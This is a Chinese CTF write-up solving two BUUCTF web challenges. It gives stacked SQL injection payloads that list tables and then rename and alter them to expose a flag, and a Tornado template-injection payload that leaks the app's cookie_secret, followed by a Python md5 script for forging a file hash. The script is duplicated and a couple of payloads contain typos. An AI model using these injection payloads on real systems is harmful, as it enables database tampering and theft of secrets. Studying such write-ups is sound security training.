BUUCTF WEB 1

easy_sql

题目提示是简单sql注入,可以先试试过滤了什么

  1. 1’ or ‘1’=‘1#
    1’ and 1=1# 没有报错,证明or,and和#都没有被过滤
    2)爆字段数
    1’order by 2#
    1’order by 3#报错
    3)爆库
    1’ union select database()#
    返回return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
    过滤了select等关键字
    使用堆叠注入的方法绕过https://www.cnblogs.com/0nth3way/articles/7128189.html
爆库
1';show database();#
爆表
1'; show tables;#  //返回表 1919810931114514 和 words 两个表
爆字段
1';show columns from `1919810931114514`;# //看到说表名数字串也要用反引号括起来,就是左上角1的左边,~和`,发现了字段flag

查询字段内容,大佬的骚操作有点看不懂https://blog.csdn.net/qq_26406447/article/details/90643951

1;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#  // varchar和int是类型名,紧跟在列id和data后面

1; ALTER TABLE words CHANGE flag data VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

还有一些大佬的解法
1.https://www.codercto.com/a/82480.html
2.https://www.cnblogs.com/chrysanthemum/p/11657008.html

[护网杯 2018]easy_tornado

从题目tornado可知是一个python的模板,打开三个文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可得要先找出cookie_secret和filename
filename已知是fllllllllllllag
又提示了render,tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。详情:https://www.cnblogs.com/cimuhuashuimu/p/11544455.html
先测试http://aee8b8e5-6f11-417d-a1cc-b314af3e5807.node3.buuoj.cn/error?msg={{%201%20}},返回1,可见是python SSTI tornado render模板注入
/
获取Cookie
继续在官方查Cookie,基本都是RequestHandler的一些方法和属性。
试着写下payload

/error?msg={{ RequestHandler.cookies }} => 500: Internal Server Error
/error?msg={{ self.request.cookies }} => 500: Internal Server Error
/error?msg={{ RequestHandler.get_cookie() }} => ORZ
/error?msg=get_cookie() =>ORZ

也就说,它屏蔽了get_cookie()方法,然后RequestHandler对象不能直接这样调用。/
详情:https://www.cnblogs.com/rpish/p/12326752.html
/
handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
所以构造payroad

/error?msg={{%20handler.settings%20}}

得到cookie_secret:‘77994636-d3ad-49e3-9200-b85d3a00f80d’
在这里插入图片描述
/详情:https://blog.csdn.net/iamsongyu/article/details/83346029

import hashlib
 
def md5value(s):
	md5 = hashlib.md5() 
	md5.update(s) 
	return md5.hexdigest()
 
 
def mdfive2(): 
	filename = 'fllllllllllag'
	aaa ="77994636-d3ad-49e3-9200-b85d3a00f80d"
	print(md5value(filename))
	# print(md5value('*c].)Y!x%+WgjHbvfM@[U'))
	# print(''+md5value(filename))
	print(md5value(aaa+md5value(filename)))
 
import hashlib
 
def md5value(s):
	md5 = hashlib.md5() 
	md5.update(s) 
	return md5.hexdigest()
 
 
def mdfive2(): 
	filename = 'fllllllllllag'
	aaa ="77994636-d3ad-49e3-9200-b85d3a00f80d"
	print(md5value(filename))
	# print(md5value('*c].)Y!x%+WgjHbvfM@[U'))
	# print(''+md5value(filename))
	print(md5value(aaa+md5value(filename)))
 
 
mdfive2()

你可能感兴趣的:(BUUCTF WEB 1)